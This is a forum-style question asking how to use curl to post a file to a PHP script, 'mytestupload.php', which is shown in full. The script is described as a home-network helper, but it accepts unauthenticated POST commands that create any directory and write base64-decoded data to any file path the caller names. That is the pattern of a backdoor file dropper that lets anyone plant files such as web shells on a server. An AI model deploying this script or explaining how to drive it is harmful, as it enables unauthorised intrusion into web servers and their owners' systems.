I’m trying to make a little script for my home network but I don’t entirely understand how to use curl with the mytestupload.php script could someone maybe help explain how I can post my file to it and what I’m doing wrong here?
mytestupload.php below
<?php
function jss($data)
{
echo json_encode( $data );
}
$comm = $_POST['cmd'];
if( !empty( $comm ) ){
if( $comm == "test" ){
jss(array(
"code" => 200,
));
}
if( $comm == "mkdir" ){
$tmp_dir = $_POST['dir'];
mkdir( $tmp_dir );
chmod( $tmp_dir , 0755 );
jss(array(
"code" => 200,
));
}
if( $comm == "upload" ){
$post_file = $_POST['file'];
$post_data = $_POST['data'];
$post_data_enc = base64_decode( $post_data );
file_put_contents( $post_file , $post_data_enc );
chmod( $post_file , 0644 );
jss(array(
"code" => 200,
));
}
}
I thought this command would work but it seems I am missing something:
$ curl -F 'file=@/tmp/test.txt' -F 'cmd=upload' http://127.0.0.1/mytestupload.php
{"code":200}
It returned 200 but I don’t know why the file doesn’t upload
Can someone explain how to fix my curl command to work ? I was expecting a file to show up in my folder but I’m not getting something right.
Any help really appreciated!